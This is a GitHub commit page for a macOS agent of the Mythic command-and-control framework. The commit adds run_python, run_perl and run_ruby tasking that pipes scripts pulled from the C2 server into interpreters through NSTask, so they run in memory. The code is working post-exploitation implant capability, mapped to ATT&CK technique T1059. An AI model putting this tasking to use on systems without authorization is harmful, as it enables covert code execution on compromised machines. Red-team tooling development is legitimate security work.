Skip to content

Commit 736be20

Browse files
adding run_script commands (#23)
* Add commands run_python, run_ruby, and run_perl to spawn and execute scripts for interpreters in memory (#22) * Add agent code for ruby execution. Adds capability for ruby script execution in memory. * Update runRuby.js * Create runRuby.py * Create runPython.js * Create runPython.py * Update runPython.py Set command to load only. * Add perl, documentation, and standardize commands (#3) * Create runPerl.py * Create runPerl.js * Update runPerl.js * Remove old script update * remove old script update * Standardization * Delete Payload_Type/apfell/apfell/agent_code/runPerl.js * Standardization * Delete Payload_Type/apfell/apfell/agent_code/runPython.js * Create run_ruby.js * Delete Payload_Type/apfell/apfell/agent_code/runRuby.js * Standardize * Delete Payload_Type/apfell/apfell/agent_functions/runRuby.py * Standardize * Delete Payload_Type/apfell/apfell/agent_functions/runPython.py * Create run_perl.py * Delete Payload_Type/apfell/apfell/agent_functions/runPerl.py * Create run_python.md * Update run_python.md * Create run_perl.md * Create run_ruby.md * Update run_ruby.py * Update run_perl.py * Update run_python.py * updating memory functions into one run_script with script only aliases * removed script_only tags --------- Co-authored-by: Lance Cain <79430515+RobotOperator@users.noreply.github.com>
1 parent 2a74405 commit 736be20

8 files changed

Lines changed: 866 additions & 0 deletions

File tree

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
exports.run_script = function(task, command, params){
2+
//Parse JSON to retrieve input
3+
try {
4+
let config = JSON.parse(params);
5+
let program_path = "/usr/bin/python3";
6+
let script = "";
7+
let args = [];
8+
if(config.hasOwnProperty("file")){
9+
let script_data = C2.upload(task, config['file']);
10+
if(typeof script_data === "string"){
11+
return{"user_output":"Failed to get contents of file\n" + script_data, "completed": true, "status": "error"};
12+
}
13+
script = $.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding);
14+
} else {
15+
return {"user_output": "missing file parameter", "completed": true, "status": "error"}
16+
}
17+
if(config.hasOwnProperty("interpreter")){
18+
program_path = config["interpreter"];
19+
}
20+
if(config.hasOwnProperty("args")){
21+
args = config["args"];
22+
}
23+
let inputData = script.dataUsingEncoding($.NSUTF8StringEncoding);
24+
// Prepare NSTask
25+
let script_task = $.NSTask.alloc.init;
26+
script_task.setLaunchPath(program_path);
27+
script_task.setArguments(args);
28+
29+
// Set up input and output pipes
30+
const inputPipe = $.NSPipe.pipe;
31+
const outputPipe = $.NSPipe.pipe;
32+
const errorPipe = $.NSPipe.pipe;
33+
34+
script_task.setStandardInput(inputPipe);
35+
script_task.setStandardOutput(outputPipe);
36+
script_task.setStandardError(errorPipe);
37+
38+
// Write input to the process
39+
const inputHandle = inputPipe.fileHandleForWriting;
40+
inputHandle.writeData(inputData);
41+
inputHandle.closeFile;
42+
43+
// Launch task
44+
script_task.launch;
45+
script_task.waitUntilExit;
46+
47+
// Read output
48+
const outputHandle = outputPipe.fileHandleForReading;
49+
const errorHandle = errorPipe.fileHandleForReading;
50+
const outputData = outputHandle.readDataToEndOfFile;
51+
const errorData = errorHandle.readDataToEndOfFile;
52+
const outputString = $.NSString.alloc.initWithDataEncoding(outputData, $.NSUTF8StringEncoding);
53+
const errorString = $.NSString.alloc.initWithDataEncoding(errorData, $.NSUTF8StringEncoding);
54+
// Aggregate Response
55+
let response1py = ObjC.unwrap(outputString);
56+
let response2py = ObjC.unwrap(errorString);
57+
let responsepy = response1py + response2py;
58+
return {"user_output":responsepy, "completed": true};
59+
}catch(error){
60+
return {"user_output":error.toString(), "completed": true, "status": "error"};
61+
}
62+
}
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
from mythic_container.MythicCommandBase import *
2+
import json
3+
from mythic_container.MythicRPC import *
4+
5+
class RunPerlArguments(TaskArguments):
6+
def __init__(self, command_line, **kwargs):
7+
super().__init__(command_line, **kwargs)
8+
self.args = [
9+
CommandParameter(
10+
name="file",
11+
cli_name="file",
12+
display_name="Script to Run",
13+
type=ParameterType.File,
14+
description="Select perl script to run",
15+
parameter_group_info=[
16+
ParameterGroupInfo(
17+
required=True,
18+
group_name="Default",
19+
ui_position=0
20+
)
21+
]
22+
),
23+
CommandParameter(
24+
name="filename",
25+
cli_name="filename",
26+
display_name="Name of an already uploaded file to Mythic to execute",
27+
type=ParameterType.String,
28+
dynamic_query_function=self.get_files,
29+
description="Run a script via stdin for a given process",
30+
parameter_group_info=[
31+
ParameterGroupInfo(
32+
required=True,
33+
group_name="Existing File",
34+
ui_position=0
35+
)
36+
]
37+
),
38+
]
39+
40+
async def parse_arguments(self):
41+
if len(self.command_line) == 0:
42+
raise ValueError("Must supply arguments")
43+
44+
async def parse_dictionary(self, dictionary_arguments):
45+
self.load_args_from_dictionary(dictionary_arguments)
46+
47+
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
48+
response = PTRPCDynamicQueryFunctionMessageResponse()
49+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
50+
CallbackID=callback.Callback,
51+
LimitByCallback=False,
52+
IsDownloadFromAgent=False,
53+
IsScreenshot=False,
54+
IsPayload=False,
55+
Filename="",
56+
))
57+
if file_resp.Success:
58+
file_names = []
59+
for f in file_resp.Files:
60+
if f.Filename not in file_names and f.Filename.endswith(".pl"):
61+
file_names.append(f.Filename)
62+
response.Success = True
63+
response.Choices = file_names
64+
return response
65+
else:
66+
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
67+
CallbackId=callback.Callback,
68+
Message=f"Failed to get files: {file_resp.Error}",
69+
MessageLevel="warning"
70+
))
71+
response.Error = f"Failed to get files: {file_resp.Error}"
72+
return response
73+
74+
75+
class RunPerlCommand(CommandBase):
76+
cmd = "run_perl"
77+
needs_admin = False
78+
help_cmd = "run_perl -filename program.pl"
79+
description = "The command uses the ObjectiveC bridge to spawn perl and capture standard input. The supplied script is passed to the new perl process, evaluated, and the output is returned."
80+
version = 1
81+
supported_ui_features = []
82+
author = "@robot"
83+
attackmapping = ["T1059"]
84+
argument_class = RunPerlArguments
85+
attributes = CommandAttributes(
86+
supported_os=[SupportedOS.MacOS],
87+
dependencies=["run_script"]
88+
)
89+
90+
async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse:
91+
response = MythicCommandBase.PTTaskCreateTaskingMessageResponse(
92+
TaskID=taskData.Task.ID,
93+
Success=True,
94+
)
95+
try:
96+
groupName = taskData.args.get_parameter_group_name()
97+
if groupName == "Existing File":
98+
# we're trying to find an already existing file and use that
99+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
100+
TaskID=taskData.Task.ID,
101+
Filename=taskData.args.get_arg("filename"),
102+
LimitByCallback=False,
103+
MaxResults=1
104+
))
105+
if file_resp.Success:
106+
if len(file_resp.Files) > 0:
107+
taskData.args.add_arg("file", file_resp.Files[0].AgentFileId)
108+
taskData.args.remove_arg("filename")
109+
response.DisplayParams = f"-filename {file_resp.Files[0].Filename}"
110+
elif len(file_resp.Files) == 0:
111+
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
112+
else:
113+
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
114+
else:
115+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
116+
TaskID=taskData.Task.ID,
117+
AgentFileID=taskData.args.get_arg("file"),
118+
LimitByCallback=False,
119+
MaxResults=1
120+
))
121+
if file_resp.Success:
122+
if len(file_resp.Files) > 0:
123+
taskData.args.add_arg("file", file_resp.Files[0].AgentFileId)
124+
taskData.args.remove_arg("filename")
125+
response.DisplayParams = f"-filename {file_resp.Files[0].Filename}"
126+
elif len(file_resp.Files) == 0:
127+
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
128+
else:
129+
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
130+
taskData.args.add_arg("interpreter", "/usr/bin/perl")
131+
taskData.args.add_arg("args", type=ParameterType.Array, value=[])
132+
response.CommandName = "run_script"
133+
except Exception as e:
134+
raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + " : " + str(e))
135+
return response
136+
137+
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
138+
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
139+
return resp
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
from mythic_container.MythicCommandBase import *
2+
import json
3+
from mythic_container.MythicRPC import *
4+
5+
class RunPythonArguments(TaskArguments):
6+
def __init__(self, command_line, **kwargs):
7+
super().__init__(command_line, **kwargs)
8+
self.args = [
9+
CommandParameter(
10+
name="file",
11+
cli_name="file",
12+
display_name="Script to Run",
13+
type=ParameterType.File,
14+
description="Select python script to run",
15+
parameter_group_info=[
16+
ParameterGroupInfo(
17+
required=True,
18+
group_name="Default",
19+
ui_position=0
20+
)
21+
]
22+
),
23+
CommandParameter(
24+
name="filename",
25+
cli_name="filename",
26+
display_name="Name of an already uploaded file to Mythic to execute",
27+
type=ParameterType.String,
28+
dynamic_query_function=self.get_files,
29+
description="Run a script via stdin for a given process",
30+
parameter_group_info=[
31+
ParameterGroupInfo(
32+
required=True,
33+
group_name="Existing File",
34+
ui_position=0
35+
)
36+
]
37+
),
38+
]
39+
40+
async def parse_arguments(self):
41+
if len(self.command_line) == 0:
42+
raise ValueError("Must supply arguments")
43+
44+
async def parse_dictionary(self, dictionary_arguments):
45+
self.load_args_from_dictionary(dictionary_arguments)
46+
47+
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
48+
response = PTRPCDynamicQueryFunctionMessageResponse()
49+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
50+
CallbackID=callback.Callback,
51+
LimitByCallback=False,
52+
IsDownloadFromAgent=False,
53+
IsScreenshot=False,
54+
IsPayload=False,
55+
Filename="",
56+
))
57+
if file_resp.Success:
58+
file_names = []
59+
for f in file_resp.Files:
60+
if f.Filename not in file_names and f.Filename.endswith(".py"):
61+
file_names.append(f.Filename)
62+
response.Success = True
63+
response.Choices = file_names
64+
return response
65+
else:
66+
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
67+
CallbackId=callback.Callback,
68+
Message=f"Failed to get files: {file_resp.Error}",
69+
MessageLevel="warning"
70+
))
71+
response.Error = f"Failed to get files: {file_resp.Error}"
72+
return response
73+
74+
75+
class RunPythonCommand(CommandBase):
76+
cmd = "run_python"
77+
needs_admin = False
78+
help_cmd = "run_python -filename program.py"
79+
description = "The command uses the ObjectiveC bridge to spawn python3 and capture standard input. The supplied script is passed to the new python process, evaluated, and the output is returned."
80+
version = 1
81+
supported_ui_features = []
82+
author = "@robot"
83+
attackmapping = ["T1059"]
84+
argument_class = RunPythonArguments
85+
attributes = CommandAttributes(
86+
supported_os=[SupportedOS.MacOS],
87+
dependencies=["run_script"]
88+
)
89+
90+
async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse:
91+
response = MythicCommandBase.PTTaskCreateTaskingMessageResponse(
92+
TaskID=taskData.Task.ID,
93+
Success=True,
94+
)
95+
try:
96+
groupName = taskData.args.get_parameter_group_name()
97+
if groupName == "Existing File":
98+
# we're trying to find an already existing file and use that
99+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
100+
TaskID=taskData.Task.ID,
101+
Filename=taskData.args.get_arg("filename"),
102+
LimitByCallback=False,
103+
MaxResults=1
104+
))
105+
if file_resp.Success:
106+
if len(file_resp.Files) > 0:
107+
taskData.args.add_arg("file", file_resp.Files[0].AgentFileId)
108+
taskData.args.remove_arg("filename")
109+
response.DisplayParams = f"-filename {file_resp.Files[0].Filename}"
110+
elif len(file_resp.Files) == 0:
111+
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
112+
else:
113+
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
114+
else:
115+
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
116+
TaskID=taskData.Task.ID,
117+
AgentFileID=taskData.args.get_arg("file"),
118+
LimitByCallback=False,
119+
MaxResults=1
120+
))
121+
if file_resp.Success:
122+
if len(file_resp.Files) > 0:
123+
taskData.args.add_arg("file", file_resp.Files[0].AgentFileId)
124+
taskData.args.remove_arg("filename")
125+
response.DisplayParams = f"-filename {file_resp.Files[0].Filename}"
126+
elif len(file_resp.Files) == 0:
127+
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
128+
else:
129+
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
130+
taskData.args.add_arg("interpreter", "/usr/bin/python3")
131+
taskData.args.add_arg("args", type=ParameterType.Array, value=[])
132+
response.CommandName = "run_script"
133+
except Exception as e:
134+
raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + " : " + str(e))
135+
return response
136+
137+
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
138+
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
139+
return resp

0 commit comments

Comments
 (0)